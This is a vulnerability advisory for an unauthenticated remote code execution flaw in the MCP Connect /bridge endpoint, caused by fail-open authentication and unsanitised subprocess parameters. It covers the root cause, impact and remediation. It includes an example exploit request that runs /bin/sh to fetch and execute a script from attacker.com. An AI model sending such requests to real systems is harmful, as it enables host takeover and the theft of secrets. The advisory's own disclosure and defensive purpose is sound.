GHSA-wvr4-3wq4-gpc5: Unauthenticated Remote Code Execution in MCP Connect /bridge Endpoint

MCP Connect operates as an HTTP gateway designed to bridge cloud-based AI services with local Model Context Protocol (MCP) servers. The architecture relies on standard input/output (stdio) communication between the gateway and the local MCP instances. The application provides two operational modes: a streamable HTTP mode and a classic HTTP bridge mechanism.

The vulnerability, tracked as GHSA-wvr4-3wq4-gpc5, is located within the /bridge HTTP endpoint. This specific endpoint is responsible for relaying incoming network requests directly to the local MCP servers. To facilitate this communication, the application dynamically spawns local subprocesses based on the parameters provided in the incoming HTTP request.

The core security failure stems from the application's default authentication posture. The system is designed to enforce authentication only if the AUTH_TOKEN and ACCESS_TOKEN environment variables are explicitly defined by the administrator. In the default configuration, these variables are unset, resulting in a completely unauthenticated /bridge endpoint.

The root cause is a combination of an insecure default configuration (CWE-1188) and subsequent OS command injection (CWE-78). The application employs a fail-open authentication model in its default state. When the AUTH_TOKEN and ACCESS_TOKEN environment variables are absent, the middleware responsible for validating the Authorization HTTP header permits the request to proceed to the core routing logic.

Once the unauthenticated request reaches the /bridge endpoint controller, the application extracts configuration parameters from the request payload. These parameters are intended to specify the legitimate MCP server binary and its associated runtime arguments. The application then passes these unsanitized parameters directly to the underlying operating system's process execution API.

Because the system allows the requester to define the binary path and arguments, an attacker is not restricted to executing legitimate MCP servers. The attacker can specify standard system shells (such as /bin/sh or cmd.exe) and pass arbitrary commands as arguments. The lack of input validation on the execution path transforms a designated feature into a direct vector for arbitrary code execution.

The vulnerable execution flow is structurally tied to the application's environment variable evaluation and subsequent subprocess creation. The vulnerable sequence begins in the authentication middleware. The logic checks for the existence of the expected environment variables before validating the token, effectively bypassing the security control when the variables are undefined.

Following the authentication bypass, the payload is parsed. The expected JSON payload contains keys defining the target executable and its runtime arguments. The application extracts these values and uses them to instantiate a new subprocess. This mechanism is fundamentally unsafe when exposed to untrusted input, as it lacks an absolute path restriction or a strict allowlist of permitted MCP server binaries.

The remediation involves enforcing a strict check for the authentication tokens. The application must mandate the presence of AUTH_TOKEN and ACCESS_TOKEN environment variables during startup, or default to a secure state that rejects all incoming requests if the configuration is incomplete. This ensures that the /bridge endpoint cannot be accessed anonymously under any circumstances.

Exploitation of GHSA-wvr4-3wq4-gpc5 is straightforward and requires no prior access or specialized network positioning, provided the MCP Connect instance is network-accessible. The attacker initiates the exploitation sequence by performing discovery. This involves scanning for the service and sending a test request to the /bridge endpoint without an Authorization header to observe the HTTP response code.

A non-error response indicates that the endpoint is operating in its vulnerable, unauthenticated state. The attacker then crafts a malicious HTTP POST request. The body of this request is formatted to match the expected schema for an MCP server invocation, but the executable path is replaced with a system shell, and the arguments contain the malicious payload.

POST /bridge HTTP/1.1
Host: target-mcp-connect.local
Content-Type: application/json
 
{
  "command": "/bin/sh",
  "args": ["-c", "curl http://attacker.com/shell.sh | sh"]
}

Upon receiving this payload, the application spawns the requested shell executable and processes the attacker's arbitrary commands. The process is executed within the operational context of the application itself.

The impact of this vulnerability is total system compromise. The attacker achieves arbitrary remote code execution with the exact privileges of the user running the MCP Connect application. In environments where the application is executed as an administrative user, this leads directly to complete host takeover.

Even when executed with least-privilege principles, the attacker gains persistent access to the host environment. The attacker can read local files, exfiltrate sensitive data, and extract environment variables. Given the context of MCP Connect, these environment variables frequently contain high-value secrets, such as API keys for OpenAI, Anthropic, or other integrated cloud-based AI services.

Furthermore, the compromised host can be utilized as a pivot point. The attacker can leverage the host's internal network access to scan for and exploit adjacent services that are not exposed to the public internet. The CVSS v3.1 base score of 9.8 accurately reflects the low attack complexity, network vector, and high impact across all confidentiality, integrity, and availability metrics.

Immediate remediation requires reconfiguring the MCP Connect deployment to enforce authentication. Administrators must define both the AUTH_TOKEN and ACCESS_TOKEN environment variables before starting the service. This configuration change activates the authentication middleware, ensuring that all requests to the /bridge endpoint must carry a valid bearer token.

In addition to configuration changes, organizations must apply network access controls. The MCP Connect service should not be exposed directly to the public internet unless absolutely necessary. Access should be restricted via firewalls, security groups, or VPNs, limiting connectivity strictly to trusted upstream cloud providers or internal IP ranges.

Organizations should enforce the principle of least privilege. The application must be executed under a dedicated service account with minimal filesystem and operating system permissions. Administrators should monitor HTTP access logs for unexpected POST requests to the /bridge endpoint and alert on any subprocess creation events originating from the MCP Connect service account that deviate from known good MCP server binaries.